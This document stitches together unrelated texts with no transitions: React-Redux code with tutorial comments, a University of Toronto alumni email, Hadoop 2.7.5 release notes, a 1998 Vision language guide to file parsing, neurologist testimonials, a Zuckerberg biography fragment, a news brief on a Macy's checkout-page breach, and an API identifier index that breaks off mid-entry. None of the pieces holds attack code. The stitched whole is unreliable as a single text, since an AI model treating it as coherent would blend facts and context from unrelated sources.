import React, { PropTypes } from 'react'
import { connect } from 'react-redux'
import Main from './components/main/Main'
import Profile from './components/profile/Profile'
import Landing from './components/landing/Landing'
export const AppRoot = ({ location, update }) => {
if (location == 'MAIN_PAGE') {
return (<Main />)
} else if (location == 'PROFILE_PAGE') {
return (<Profile />)
} else if (location == 'LANDING_PAGE') {
return (<Landing />)
} else {
//Although currently set return landing, I wanted to separate
//this sitation out - it's really an erroneous situation!
return (<Landing />)
}
}
AppRoot.propTypes = {
location: PropTypes.string.isRequired
}
/*
Connect is for connccting reafct to redux
It's lets us access the state and use the dispatch in the react app (i.e. the code above)
Otherwise when the react changes we wouldn't be able to get it.
React is basically the template, and redux is what holds the actual data/info
Remember, the args to connect are mapStateToProps and mapDispatchToProps
The first of these (the lambda taking state) will be called any time the store
is updated.
The second of these (the lambda taking dispatch) is an object where each
function inside of it is assumed to be a redux action creator. Thsi will wrap
said action creator into a dispatch call so it can be invoked directly, and merge
it into thee component's props.
So, state down here lets us use state above. Basically all the input args in
the export const AppRoot only work if we say how to get them out of state down
here more or less
Dispatch lets us dispatch
*/
export default connect(
(state) => ({ location: state.location }),
(dispatch) => ({ })
)(AppRoot)
|


|
View this email online
|
|
|
|
More perks for our newest alumni.
|
|
|
Congrats again, 2020 grad. We hope you're making the most of your new alumni benefits because more are on the way. Benefits tailored to the times: online mentoring, e-networking tips, LinkedIn advice, plus your very first Alumni Reunion. All offerings are virtual and free for the Class of 2020.
For other online events, retail discounts, resources and more, check out the online hub for new grads.
|
|
|
|
|
|
|
|
|
Two former LinkedIn staffers show you how to boost your LinkedIn profile at this online course exclusively for U of T alumni.
|
|
|
|
|
|
This free online tool links grads like you with fellow alumni. Connect by phone or online and network with people who have U of T and career goals in common.
|
|
|
|
|
|
Our biggest alumni gathering of the year is going virtual for 2021. From mind-expanding lectures to online trivia to LGBTQ+ events, there’s lots of free stuff for new grads to do at Alumni Reunion — Home Edition.
|
|
|
|
|
|
|
|
Update your email to hear about the latest perks and other ways to stay connected to your remarkable community of fellow alumni. U of T is here to help you transition to life after graduation.
|
|
|
|
|
|


Hadoop 2.7.5 Release Notes
These release notes include new developer and user-facing incompatibilities, features, and major improvements.
Changes since Hadoop 2.7.4
- YARN-7084.
Major bug reported by Jason Lowe and fixed by Jason Lowe
TestSchedulingMonitor#testRMStarts fails sporadically
- YARN-6959.
Major bug reported by Yuqi Wang and fixed by Yuqi Wang (capacity scheduler , fairscheduler , scheduler)
RM may allocate wrong AM Container for new attempt
ResourceManager will now record ResourceRequests from different attempts into different objects.
- YARN-5195.
Major bug reported by Karam Singh and fixed by sandflee (resourcemanager)
RM intermittently crashed with NPE while handling APP_ATTEMPT_REMOVED event when async-scheduling enabled in CapacityScheduler
- MAPREDUCE-6975.
Major improvement reported by Prabhu Joseph and fixed by Prabhu Joseph (task)
Logging task counters
- MAPREDUCE-6957.
Major bug reported by Jooseong Kim and fixed by Jooseong Kim (mrv2)
shuffle hangs after a node manager connection timeout
- MAPREDUCE-6937.
Major improvement reported by Zhe Zhang and fixed by Peter Bacsko
Backport MAPREDUCE-6870 to branch-2 while preserving compatibility
- MAPREDUCE-6931.
Critical bug reported by Dennis Huo and fixed by Dennis Huo (benchmarks , test)
Remove TestDFSIO "Total Throughput" calculation
- MAPREDUCE-6750.
Minor bug reported by Kihwal Lee and fixed by Kihwal Lee (test)
TestHSAdminServer.testRefreshSuperUserGroups is failing
- MAPREDUCE-6165.
Minor bug reported by Wei Yan and fixed by Akira Ajisaka
[JDK8] TestCombineFileInputFormat failed on JDK8
- HDFS-12832.
Critical bug reported by DENG FEI and fixed by Konstantin Shvachko (namenode)
INode.getFullPathName may throw ArrayIndexOutOfBoundsException lead to NameNode exit
- HDFS-12823.
Major improvement reported by Erik Krogen and fixed by Erik Krogen (hdfs , hdfs-client)
Backport HDFS-9259 "Make SO_SNDBUF size configurable at DFSClient" to branch-2.7
- HDFS-12638.
Blocker bug reported by Jiandan Yang and fixed by Konstantin Shvachko (hdfs)
Delete copy-on-truncate block along with the original block, when deleting a file being truncated
- HDFS-12596.
Major test reported by Xiao Chen and fixed by Xiao Chen (test)
Add TestFsck#testFsckCorruptWhenOneReplicaIsCorrupt back to branch-2.7
- HDFS-12578.
Blocker bug reported by Xiao Chen and fixed by Ajay Kumar (test)
TestDeadDatanode#testNonDFSUsedONDeadNodeReReg failing in branch-2.7
- HDFS-12420.
Major improvement reported by Ajay Kumar and fixed by Ajay Kumar
Add an option to disallow 'namenode format -force'
- HDFS-12323.
Major bug reported by Erik Krogen and fixed by Erik Krogen (namenode , qjm)
NameNode terminates after full GC thinking QJM unresponsive if full GC is much longer than timeout
- HDFS-12157.
Critical bug reported by Vinayakumar B and fixed by Vinayakumar B (datanode)
Do fsyncDirectory(..) outside of FSDataset lock
- HDFS-12131.
Minor improvement reported by Erik Krogen and fixed by Erik Krogen (hdfs , namenode)
Add some of the FSNamesystem JMX values as metrics
- HDFS-10984.
Major task reported by Siddharth Wagle and fixed by Siddharth Wagle (namenode)
Expose nntop output as metrics
- HDFS-10738.
Major bug reported by Rakesh R and fixed by Rakesh R (test)
Fix TestRefreshUserMappings.testRefreshSuperUserGroupsConfiguration test failure
- HDFS-10711.
Major sub-task reported by Daryn Sharp and fixed by Daryn Sharp (hdfs)
Optimize FSPermissionChecker group membership check
- HDFS-9153.
Major test reported by Kai Zheng and fixed by Kai Zheng
Pretty-format the output for DFSIO
- HDFS-9107.
Critical bug reported by Daryn Sharp and fixed by Daryn Sharp (namenode)
Prevent NN's unrecoverable death spiral after full GC
- HDFS-9003.
Major bug reported by Kihwal Lee and fixed by Kihwal Lee
ForkJoin thread pool leaks
- HDFS-8865.
Major improvement reported by Kihwal Lee and fixed by Kihwal Lee
Improve quota initialization performance
- HDFS-8829.
Major improvement reported by He Tianyi and fixed by He Tianyi (datanode)
Make SO_RCVBUF and SO_SNDBUF size configurable for DataTransferProtocol sockets and allow configuring auto-tuning
HDFS-8829 introduces two new configuration settings: dfs.datanode.transfer.socket.send.buffer.size and dfs.datanode.transfer.socket.recv.buffer.size. These settings can be used to control the socket send buffer and receive buffer sizes respectively on the DataNode for client-DataNode and DataNode-DataNode connections. The default values of both settings are 128KB for backwards compatibility. For optimum performance it is recommended to set these values to zero to enable the OS networking stack to auto-tune buffer sizes.
- HDFS-8797.
Major bug reported by Jing Zhao and fixed by Jing Zhao (webhdfs)
WebHdfsFileSystem creates too many connections for pread
- HADOOP-14919.
Critical bug reported by Aki Tanaka and fixed by Jason Lowe
BZip2 drops records when reading data in splits
- HADOOP-14902.
Major bug reported by Jason Lowe and fixed by Hanisha Koneru (fs)
LoadGenerator#genFile write close timing is incorrectly calculated
- HADOOP-14881.
Major sub-task reported by Chetna Chaudhari and fixed by Bharat Viswanadham
LoadGenerator should use Time.monotonicNow() to measure durations
- HADOOP-14867.
Major bug reported by Bharat Viswanadham and fixed by Bharat Viswanadham
Update HDFS Federation setup document, for incorrect property name for secondary name node http address
- HADOOP-14827.
Minor improvement reported by Erik Krogen and fixed by Erik Krogen (common , test)
Allow StopWatch to accept a Timer parameter for tests
- HADOOP-14702.
Minor bug reported by Doris Gu and fixed by Doris Gu (documentation)
Fix formatting issue and regression caused by conversion from APT to Markdown
- HADOOP-13442.
Major improvement reported by Daryn Sharp and fixed by Daryn Sharp
Optimize UGI group lookups


| Home | Running Vision | Interfaces | Vision Language |
The asFileContents message can be sent to a String representing the name of a file and returns the contents of the file as a String. For example:
"myFile" asFileContentsopens the file myFile and returns its contents as a string. Since this program is not terminated with a ';' character, the contents of the file will print by default. You could save the contents of the file into a variable. For example:
!fileContents <- "myFile" asFileContents ; fileContents count printNL ;This program stores the contents of the file myFile into the variable fileContents. The second statement in this program displays the number of characters in the file.
There are two primary reasons for reading a file into Vision:
It is often useful to save methods and other Vision programs in files outside the Vision database. You can interactively load these files by reading them into a Vision editor and executing the request; however, it is also useful to be able to read in files of code as part of a program. You can use the asFileContents evaluate expression to do this. For example, if the file sampleCode contains the Vision code:
!x <- 3 ; !y <- 10 ;and you execute:
"sampleCode" asFileContents evaluate; x print ; y print ;you will see the values of x and y displayed. The first statement in this program will read in the file and evaluate its contents as though you had entered the code directly. After the file contents have been evaluated, you have access to the variables x and y defined in this file.
By default, the code in your file will be evaluated as though you typed it into your top-level workspace. You can also execute code in the context of a particular object. For example, if the file sampleCode contains the Vision code:
"This object is an instance of class " print; whatAmI printNL ;and you execute:
"sampleCode" asFileContents evaluateIn: 3 ;You should see:
This object is an instance of class Integer
The string returned by the asFileContents message can be viewed as a data file. Each line of the data file can be thought of as a record. Each record consists of one or more fields. The fields in the record can be in a fixed format or delimited by a specific character. In a fixed format, each field occupies the same character positions from record to record. In a delimited format, fields are separated by a known character so the position of a specific field relative to its record will vary from record to record.
For example, in a fixed field format, you could have a security id in positions 1 - 6 , a name in positions 7 - 36, and a price in positions 37 - 46 as illustrated below:
IBM International Business Mach 123.500 GM General Motors 33.125 XON Exxon Corp 111.000The same data in a comma delimited format would look like:
IBM, International Business Mach, 123.500 GM, General Motors, 33.125 XON, Exxon Corp, 111.000In the fixed field format, each field starts at a known character position in the record and has a fixed size. Field values that require fewer characters are blank-padded to fit into the fixed field size. In the delimited format, the blanks between the fields are optional (unless the blank is the delimiter). The selected delimiter should not be a character that can be used within a field. The "tab" (ctrl I) character is often used as the delimiter for this reason.
The asLines message is used to divide the string returned by the asFileContents message into a list of strings, using the carriage-return character as a delimiter. For example:
#-- create string containing the file name, including its path. !fileName <- "/users/xyz/dir1/file.txt" ; #-- extract contents of file as a single, large string. !theFile <- fileName asFileContents ; #-- convert the file into a list of records #-- each element of record is a single string !records <- theFile asLines ; records count printNL ;
The variable records returns a list of string objects where each element of the list corresponds to a record in the original file. This record can then be divided into its fields based on position or delimiter character. Each field is a string by default. The field value can be converted to other data types such as number.
The following Vision code can be used to break fixed format records into fields:
#-- break each record into its fields - fixed format approach !xrecords <- records extendBy: [ !securityId <- ^self take: 6 . stripBoundingBlanks ; !name <- ^self from: 7 for: 30 . stripBoundingBlanks ; !price <- ^self from: 37 to: 47 . asNumber ; ] ;The variable xrecords returns the list of records extended by three additional variables representing the fields in the record. The securityId variable is defined as the first 6 characters of the record. The name variable is defined as a 30 character string starting at position 7 in the record. Blanks at the start and end of these fields are removed. The price variable is defined as the field from position 37 to 47 in the record and is converted to a number.
The following Vision code can be used to break comma-delimited records into fields:
#-- break each record into its fields - comma-delimited approach !xrecords <- records extendBy: [ !fields <- ^self breakOn: "," ; # break on delimiter !securityId <- fields at: 1 . stripBoundingBlanks ; !name <- fields at: 2 . stripBoundingBlanks ; !price <- fields at: 3 . asNumber ; ] ;The breakOn: message is used to break the record into fields based on one or more delimiter characters and returns a list of strings. The securityId, name, and price variables are defined as the first, second, and third elements of this list.
The information in these records can be used to update properties of other objects. Field values are often used as a "key" for another structure. For example, the securityId can be used to reference a specific instance of a Security class. Assume the class Security had defined the properties name and price. The following Vision code could be used to update these properties using the data read from the file:
#-- use each record to update name and price properties of Security xrecords do: [ !security <- ^global Named Security at: securityId ; security isntNA ifTrue: [ security :name <- name ; security :price <- price ; ] ifFalse: [ securityId print ; " Not Found." printNL ; ] ; ] ;
There are many additional messages defined at String which are useful for parsing data files.
The asRecords message combines the asFileContents and asLines steps. The expression:
"sampleCode" asRecordsis the same as:
"sampleCode" asFileContents asLines
The asCSVRecords message can be used to convert a comma-separated-value format file to a list of strings extended by the message fields. Embedded commas in the original file are preserved. For example, if the file sample.csv contains:
key1,description1,value1 key2,"description 2 with , character",value2then:
"sample.csv" asCSVRecords do: [ "Field 1: " print ; fields at: 1 . printNL ; "Field 2: " print ; fields at: 2 . printNL ; "Field 3: " print ; fields at: 3 . printNL ; ] ;displays:
Field 1: key1 Field 2: description1 Field 3: value1 Field 1: key2 Field 2: description 2 with , character Field 3: value2
Several messages are available for filtering the characters from the input file. The message stripChar: is used to return the recipient string with the supplied character removed for every occurrence. The message translate:to: is used to replace all occurrences of the character in the first parameter with the string supplied in the second parameter. For example:
"sampleCode" asFileContents stripChar: "+" . translate: "*" to: " " .removes all the '+' characters from the string and changes all occurrences of the '*' character to a blank.
In some earlier examples, you have seen several techniques used for parsing the data fields and converting the values to different types. In the expression:
!securityId <- ^self take: 6 ;the message take: is used to extract the first 6 characters of the string. This message can be used in conjunction with the message drop: which eliminates characters from the start or end of the string. For example, if the name field starts in position 7 for 30 characters, the field could be extracted using:
!name <- ^self drop: 6 . take: 30 ;The messages from:for: and from:to: provides alternative ways to do the same thing. For example:
!alt1 <- ^self from: 7 for: 30 ; !alt2 <- ^self from: 7 to: 36 ;The messages from: and to: are variations on the from:to: message. When the supplied parameter is a number, from: returns the string starting at this position to the end of the string and to: returns the string from position 1 to the supplied position. The supplied parameter can also be a single character. In this case, from: returns the string starting with the first occurrence of this character and to: returns the string ending with the first occurrence of this character.
The message stripBoundingBlanks is used to eliminate blank characters from either end of a string. For example:
!alt3 <- ^self from: 7 for: 30 . stripBoundingBlanks ;
The expression:
!price <- ^self from: 37 to: 47 . asNumber ;uses the message asNumber to convert the string value to a numeric value. The message convertToNumber, converts a string containing commas to a numeric value. Both of these messages return NA if the string cannot be converted to a number.
Several messages are available for converting integer to dates. The message asDate converts an integer in the form CCYYMMDD, YYMMDD, YYMM, or YY into a date where CC is the century, YY is the year, MM is the month, and DD is the day. For example:
!priceDate <- ^self from: 48 for: 10 . asNumber asInteger asDate ;If the field starting at position 48 for 10 characters contained "   960515   ", the variable priceDate would be set to the date May 15, 1996. Several other variations of the asDate message have been defined including: asDateFromMMDD, asDateFromMMDDYY, asDateFromMMDDYYYY, asDateFromMMYY, asDateFromYYMMDD, and asDateFromYYYYMM.
The message else: is useful for assigning default values when a field does not convert as expected. For example:
!price <- ^self from: 37 to: 47 . asNumber else: 0.0 ;returns the value 0.0 if the field cannot be converted to a numeric value (i.e., the asNumber message returns an NA) and
!priceDate <- ^self from: 48 for: 10 . asNumber asInteger asDate else: ^today ;returns the value ^today if the field cannot be converted to a date (i.e., the asDate message returns an NA).
The amount of private memory allocated at any point in your Vision session for temporary and permanent structures can be displayed using the following query:
AdminTools totalNetworkAllocationFor example, if you executed the above as the first query after starting a new session you would get a baseline (per process) memory allocation, in bytes, for your Vision database. You can monitor private memory usage after loading a data file or at any point in your sequence of queries. If the amount of memory allocated exceeds what you would expect, it might be useful to review the data load code and optimize it if possible. This is particularly useful if the number of files you expect to load exceeds 3 or 4 or if you load the same file many times in your Vision session without exiting.
Temporary structures remain in memory for the duration of the Vision session if they are referenced by global variables. In the previous sections, the variable fileContents or theFile is used to save the contents of a file as a string. The subsequent conversion of this string into lines (also strings), stored as the variable records, and the parsing of each record into individual field variables, accessed by the variable xrecords and its extended properties, increases the private memory allocation as new strings are created.
If the strings and variables referencing them were created in a method block, following execution of the block these temporary structures would no longer be resident in memory provided that no references to them existed from permanent structures in the database. As properties are updated or new instances are created using these string field values, permanent references are made to these strings and the structures remain in memory.
The amount of memory used to store these permanently referenced strings depends on how the strings are created. Strings are stored in clusters or stores, as are all classes and their instances. Since the String class is a Built-in class, new strings do not get added to its default cluster. The Vision expression:
String instanceList countwill always return a value of 1.
The variables created to reference strings actually represent the newly created string clusters. For example:
!theFile <- "myFile" asFileContents ; theFile instanceList countwill return a value of 1 since the entire file is returned as a single string object. The subsequent conversion of the single string into a list of strings creates another string cluster:
!records <- theFile asLines;The variable records returns a List object which contains references to the new strings, and the Vision query:
records countreturns the number of elements in the list. To access the new string cluster, you need to access any element of the list; for example:
records at: 1 . instanceList countwill return the number of strings in the new cluster.
The size of each string cluster (number of characters) can be obtained using the Vision code:
#-- single string theFile count printNL; #-- list of strings records at: 1 . instanceList total: [ count ] . printNL;
The final parsing of each string into its respective field items using a fixed field input file:
!xrecords <- records extendBy: [ !securityId <- ^self take: 6 . stripBoundingBlanks ; !name <- ^self from: 7 for: 30 . stripBoundingBlanks ; !price <- ^self from: 37 to: 47 . asNumber ; ] ;creates a new string cluster for each property that is not further converted into another type. Each string cluster contains the same number of strings as there are records in the input file.
For a comma-delimited input file, the final parsing of each string into its field items using the form:
!xrecords <- records extendBy: [ !fields <- ^self breakOn: "," ; # break on delimiter !securityId <- fields at: 1 . stripBoundingBlanks ; !name <- fields at: 2 . stripBoundingBlanks ; !price <- fields at: 3 . asNumber ; ] ;could potentially create references to string clusters containing more than just the strings associated with a given field. The breakOn: message breaks the string record into fields based on one or more delimiter characters and returns a list of strings. The variable fields references a new string cluster which contains all strings for all records. The securityId and name variables would reference the same string cluster as fields if there were no blanks that needed to be stripped since the original string would have been returned by the method. A new string cluster would have been created if blanks were indeed stripped, containing just the strings for the single field item.
Subsequent use of these strings to update or create permanent structures:
xrecords do: [ !security <- ^global Named Security at: securityId ; security isNA ifTrue: [ :security <- ^global Security createInstance: securityId ] ; security name != name ifTrue: [ security :name <- name ] ; security :price <- price ; ] ;results in permanent references to string clusters that can contain minimally string values for a given field or in the worst case, all strings in the original input file.
A simple technique to disassociate the strings representing field values from the cluster referenced by the field item is to create a copy of each string at the point where it is to be used to update a property in a permanent object. The above code would need to be revised as follows:
xrecords do: [ !security <- ^global Named Security at: securityId ; security isNA ifTrue: [ :security <- ^global Security createInstance: securityId copyString #<--- update code ] ; security name != name ifTrue: [ security :name <- name copyString ] ; #<--- update name security :price <- price ; ] ;The resultant string cluster representing a property value would only include those strings which were actually used to update the property. For example, if a data file contained 2,000 records with 2 string fields and if only 20 new securities were created while 40 existing securities had their name refreshed, the new string cluster created for the code property value would have only 20 strings and the new string cluster for the name property value would have 60 strings. Without creating a copy of the strings as needed, both the code and name string clusters would minimally contain 2,000 strings using the fixed field format parser. For the comma-delimited format parser, the two properties could potentially reference a single cluster containing 4,000 strings.
For installations that may not yet have the method copyString available, the following code needs to be executed at the start of an interactive session or committed permanently in the database:
String defineMethod: [ | copyString | ^self asSelf drop: 0 ] ;Messages that manipulate string content, such as take:, drop:, concat:, all return a modified copy of the recipient string. In this case, nothing is changed in the recipient string, only a new copy of the string is returned.
Another technique to further decrease the amount of memory needed to load data would be to omit creating references to intermediate string clusters:
!xrecords <- "myFile" asFileContents asLines extendBy: [ . . . . . . ] ;In the above revision, the intermediate reference to the single string representing the data file does not remain and only the string cluster created by asLines and referenced by xrecords remains in memory as long as the Vision session is active.
As mentioned earlier, globally referenced string clusters remain in private memory. To optimize private memory usage when loading data, methods should be defined to process the data load so that following execution any unreferenced temporary variables or string clusters are no longer resident in memory.
The message asFileContents is suitable for loading data from files that are relatively small, on the order of 5-30 MB, consisting of a single file or at most several files. As the size of the input file increases or the number of files needed to complete the data load increase, memory resources (usually swap) become a limiting factor and the load may not always succeed.
For single files greater than 30 MB, memory resources can be optimized if the file is read and processed in batches rather than in its entirety. The technique described below requires a fixed field format and uses protocol of the Open Vision ToolKit.
To access a file with read-only permission, use the message asOpenVisionChannel and supply file as the type and the file name as the resource in its specification string. Choose the appropriate trim format option, which controls the removal of leading and trailing blanks from strings.
#-- create a string containing the file name !fileName <- "/users/xyz/dir1/file.txt" ; #-- open a channel to the file and set a trim format !file <- "file:" concat: fileName . asOpenVisionChannel setTrimFormatToTrailingBlanks ;To process the file in batches, you would supply a batch size (number of records to process at a time) and calculate the file size, the record size, the number of records, and the number of batches to process. The following messages are sent to the channel object that is stored in the variable file.
The message byteCount returns the size of the file, the message getLine returns a string obtained by reading the next line from the channel, the message getString: size at: anOffset returns a string containing the number of characters specified by the size argument beginning at the offset position in the file, and the message close closes the file.
#-- get the file size !fileSize <- file byteCount ; #-- calculate the record size and number of records !recSize <- file getLine count ; !records <- (fileSize / recSize) asInteger ; #-- specify a batch (no. of records) !batchCount <- 1000 ; #-- calculate the batch size and the number of batches !batchSize <- batchCount * recSize ; !batches <- (records / batchCount + 1) asInteger ;The Vision code below illustrates the iterative process of reading in a batch of records, specified above, as a single string and parsing it using techniques described earlier in this document:
#-- batch numbers start with 0 !firstBatch <- 0; !lastBatch <- (batches - 1) asInteger; #-- iterate over the batches batches sequence0 iterate: [ !batchNum <- ^self; #-- get offset for current batch !offset <- (batchNum * ^my batchSize + 1) asInteger; #-- get size of current batch !bytesLeft <- ^my fileSize - offset + 1; !size <- ^my batchSize min: bytesLeft . max: 0 . asInteger ; #-- load current batch !string <- ^my file getString: size at: offset ; string count > 0 ifTrue: [ #-- parse records in current batch !xrecords <- string asLines extendBy: [ !id <- ^self take: 6 . stripBoundingBlanks ; !name <- ^self from: 7 for: 30 . stripBoundingBlanks; . . . ]; #-- process records in current batch xrecords do: [ !security <- ^global Named Security at: id ; security isntNA ifTrue: [ security :name <- name copyString; . . . ]; ]; ]; ]; ## end iterate #-- close the file file close ;The batch sequence count begins with 0 in order to get the correct offset into the file for the first iteration. The method sequence0 when sent to an integer returns a list of integers beginning with 0 and ending with 1 less than the recipient integer. Each iteration returns a string of the expected size (batchSize) and the string is converted into a list of records using the asLines method. The batch size is bounded by the amount of characters left to process since the last batch is not guaranteed to have the full number of records as specified by the value of batchCount. A final check of string size greater than 0 is added in the event that an empty string is returned.
If data to be loaded is provided in separate files rather than in a single file, the batch load technique may not be appropriate. In this case, the standard load based on asFileContents can be further optimized with respect to swap usage as described in the example below.
Assume the class Security has a time series property and a method to load monthly scores from a data file. The data file provides the id, name and score for a universe of securities for a given date in comma delimited format. The method creates new Security instances if they do not exist in order to store the full score history. In this example, data files to be processed range in size from 1 to 2 MB and span dates from 8712 to 9709. The data is loaded using the following Vision code:
Security loadMonthlyScoresAsOf: 8712 fromFile: "score.8712" ; Security loadMonthlyScoresAsOf: 8801 fromFile: "score.8801" ; . . . Security loadMonthlyScoresAsOf: 9708 fromFile: "score.9708" ; Security loadMonthlyScoresAsOf: 9709 fromFile: "score.9709" ;or equivalently:
!start <- 8801 asDate; !end <- 9709 asDate; !date <- start; [ date <= end ] whileTrue: [ !file <- "score." concat: (date asInteger drop: 2 . take: 4); Security loadMonthlyScoresAsOf: date fromFile: file ; :date <- date + 1 monthEnds; ];Depending on the available memory resources at the time of execution, the serial load of the files might not complete and will use up a large amount of swap if executed in a single Vision query as shown above.
To optimize swap usage, force query execution at regular intervals either by adding ?g or by pressing the F2 key. Although both load styles above are serial, using the whileTrue: block forces all serial loads to be processed in a single query; consequently, this technique should not be used for processing multiple file loads.
The most optimized multiple file load forces query execution after each file is processed; there
is no overhead in processing time:
Security loadMonthlyScoresAsOf: 8712 fromFile: "score.8712" ;
?g
Security loadMonthlyScoresAsOf: 8801 fromFile: "score.8801" ;
?g
.
.
Security loadMonthlyScoresAsOf: 9708 fromFile: "score.9708" ;
?g
Security loadMonthlyScoresAsOf: 9709 fromFile: "score.9709" ;
?g
A further optimization would be to reverse the load order, i.e. start with the largest file (dated 9707). However, the amount of additional savings in swap is not of the same order of magnitude; therefore, this step can be omitted if data loads cannot be processed in any random order.
| Copyright © 1998 Innovative Systems Techniques, Inc. | Updated February 19, 1998 |


Thank you so much for being a phenomenal neurologist and an amazing person we are grateful to have found. With tons of gratitude. Your patient care and compassion are unmatched! Samantha and Dani
We are grateful for your direct approach to Gary's diagnosis of his left and right hands. Thanks for stressing the urgency of the situation! The outcome from both surgeries was a complete success. Dr. Millard is an outstanding doctor and so are you!!! Gary and Mary R.
During my pregnancy I had trouble finding a Neurologist I could trust to make safe treatment decisions for both baby and I. Luckily, I found Dr. Nikolskaya who is very knowledgeable and has the best bedside manner. She always follows up and stands up for me when it comes to referrals. If you want a Dr that is on top of her cases I highly recommend her. Thank you Dr Galina Nikolskaya for being so kind and taking care of me! Sofia G, patient
Dr. Nikolskaya’s empathy and such a high moral standard along with her dedication and care to patients is a rare occurrence in today’s standard. Chui, Luis, MD. Professor of Neurology, UCI School of Medicine
Dr. Nikolskaya is able to provide a wide range of subspeciality services that exceed the skill set of a typical neurologist. These include the performance and interpretation of electrodiagnostic studies such as nerve conduction studies, electromyography, electroencephalography, evoked potentials and EMG-guided botulinum toxin therapy. She is a bright, observant and devoted physician. David Naylor, MD, Ph.D, Associate Professor of Neurology, David Geffen UCLA School of Medicine


Being one of the richest men on the planet, Mark could date a famous actress or model, but he preferred to marry Priscilla Chan, a physician. It is noticeable at first sight that Mark is in love with his wife. He tells about Priscilla, that she “has a nature of a leader, but is very supportive as well”. The couples, who are billionaires, are not concentrated on luxury. They prefer to send a check to some children’s community or hospital than to spend it for luxurious car or shoes.
Mark lived in a quite rich family and his parents tried their best to develop the skills of their talented son. They hired a tutor, when noticed Mark’s interest to programming and sent the boy to fencing school to develop him physically too.
Строк кода
Выпитых чашек кофе
Не использованных идей
Количество затраченных дней


Cyber hackers hit Macy’s in data breach
by Andy Brownfield – Reporter, Cincinnati Business CourierMacy's Inc. was the victim of a data breach that could have impacted customers' financial information.
Cincinnati-based Macy's (NYSE: M) informed customers in a letter dated Nov. 14 that it was the victim of a data breach that was discovered about a month earlier on Oct. 15.
The retailer said that it believes that an unauthorized third party added computer code to its website, macys.com, that allowed the hacker to capture checkout and wallet page information.
The code was removed from Macy's website on Oct. 15 and the company brought in federal law enforcement and a forensics firm to investigate.
Click here for the full story from the Phoenix Business Journal.


Home
Trees
Indices
Help
[
hide private
]
[
frames
] |
no frames
]
[
Identifiers
|
Deprecations
]
Identifier Index
[
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X Y Z
_
]
A
A4Landscape
(in
mungo.diagram
)
addFixedLengthFeature()
(in
mungo.diagram
)
Arrow
(in
mungo.svgDiagram
)
A4Portrait
(in
mungo.diagram
)
addHRule()
(in
mungo.diagram
)
asContainer()
(in
FastaReaderIndexed
)
aa
(in
mungo.sequence
)
addLabel()
(in
mungo.diagram
)
asMapping()
(in
FastaReaderIndexed
)
AbstractDataFile
(in
mungo.mungoCore
)
addPointyCompoundFeature()
(in
mungo.diagram
)
AT()
(in
mungo.sequence
)
AbstractDataReader
(in
mungo.mungoCore
)
addScale()
(in
mungo.diagram
)
attributes
(in
Feature
)
AbstractFeature
(in
mungo.mungoCore
)
addStrandAttribute()
(in
Domain
)
attributes
(in
HSP
)
add()
(in
Ontology
)
addUniformAxis()
(in
mungo.diagram
)
attributes
(in
Chain
)
add()
(in
Alignment
)
alchemy
(in
mungo
)
attributes
(in
Chain
)
add()
(in
Config
)
Alchemy
(in
mungo.alchemy
)
attributes
(in
Predicted
)
add()
(in
Gene
)
alchemyTypes
(in
mungo.alchemy.old
)
attributes
(in
Feature
)
addAttribute()
(in
Domain
)
align
(in
mungo
)
attributes
(in
Domain
)
addAttribute()
(in
AbstractFeature
)
Alignment
(in
mungo.align
)
attributes
(in
GenomicDomain
)
addAxis()
(in
mungo.diagram
)
Alignment
(in
mungo.blastz
)
attributes
(in
Domain
)
addBlock()
(in
mungo.diagram
)
aminoAcidDist
(in
mungo.sequence
)
attributes
(in
Interval
)
addColumn()
(in
Alignment
)
aminoAcids
(in
mungo.sequence
)
attributes
(in
RichInterval
)
addCompoundFeature()
(in
mungo.diagram
)
apoptosis
(in
mungo.GO
)
attributes
(in
Motif
)
addCropMarks()
(in
mungo.diagram
)
append()
(in
Alignment
)
attributes
(in
Match
)
addFeature()
(in
mungo.diagram
)
argmax()
(in
mungo.useful
)
attributesToFormat()
(in
mungo.mungoCore
)
addField()
(in
HSP
)
Arrow
(in
mungo.diagram.Glyphs
)
avDepth()
(in
mungo.cap3
)
B
baseComplement
(in
mungo.sequence
)
BlastReader
(in
mungo.blast
)
blockToGenome()
(in
mungo.blast
)
bed
(in
mungo
)
blastz
(in
mungo
)
bowtie
(in
mungo
)
BEGIN
(in
States
)
blat
(in
mungo
)
BowtieReader
(in
mungo.bowtie
)
begin
(in
State
)
blat_old
(in
mungo
)
BowtieTwoFilePairedEndReader
(in
mungo.bowtie
)
beginSection2
(in
State
)
BlatFile()
(in
mungo.blat
)
build()
(in
CapIndexFile
)
bestHits()
(in
BlastReader
)
BlatReader
(in
mungo.blat
)
build()
(in
FastaIndexFile
)
bestHits()
(in
MultiBlastReader
)
Block
(in
mungo.blastz
)
build()
(in
FastaIndexPickleFile
)
biological_process
(in
mungo.GO
)
Block
(in
mungo.diagram.Glyphs
)
build()
(in
FastaIndexTextFile
)
blast
(in
mungo
)
BlockSixFrameDomain
(in
mungo.hmmer
)
buildIdentityVector()
(in
mungo.align
)
BlastFile()
(in
mungo.blast
)
BlockSixFrameDomain
(in
mungo.hmmer3
)
buildIdentityVector2()
(in
mungo.align
)
C
cache()
(in
CapIndexFile
)
codons()
(in
mungo.sequence
)
converters
(in
Chain
)
calcFrequency()
(in
mungo.sequence
)
column()
(in
Alignment
)
converters
(in
Chain
)
calcPercentIdInUngappedBlocks()
(in
mungo.align
)
column_iter()
(in
Alignment
)
converters
(in
Predicted
)
calcPercentIdInWindows()
(in
mungo.align
)
columnFreq()
(in
Alignment
)
converters
(in
Feature
)
cap3
(in
mungo
)
columnFreq_iter()
(in
Alignment
)
converters
(in
Domain
)
CapFile()
(in
mungo.cap3
)
complement()
(in
mungo.sequence
)
converters
(in
GenomicDomain
)
CapIndexFactory()
(in
mungo.cap3
)
config
(in
mungo
)
converters
(in
Domain
)
CapIndexFile
(in
mungo.cap3
)
Config
(in
mungo.config
)
converters
(in
Motif
)
CapReaderIndexed
(in
mungo.cap3
)
constructDb()
(in
mungo.refseq
)
converters
(in
Match
)
cellular_component
(in
mungo.GO
)
CONTAINER
(in
Interface
)
convertGenomeToBlockCoords()
(in
HSP
)
Chain
(in
mungo.blastz
)
convert()
(in
Feature
)
convertGenomicToBlockCoords()
(in
mungo.hmmer
)
Chain
(in
mungo.blat
)
convert()
(in
Chain
)
convertOrfToGenomic()
(in
mungo.hmmer
)
Chain
(in
mungo.blat_old
)
convert()
(in
Predicted
)
convertSixFrameToGenomic()
(in
mungo.hmmer
)
chaining
(in
mungo
)
convert()
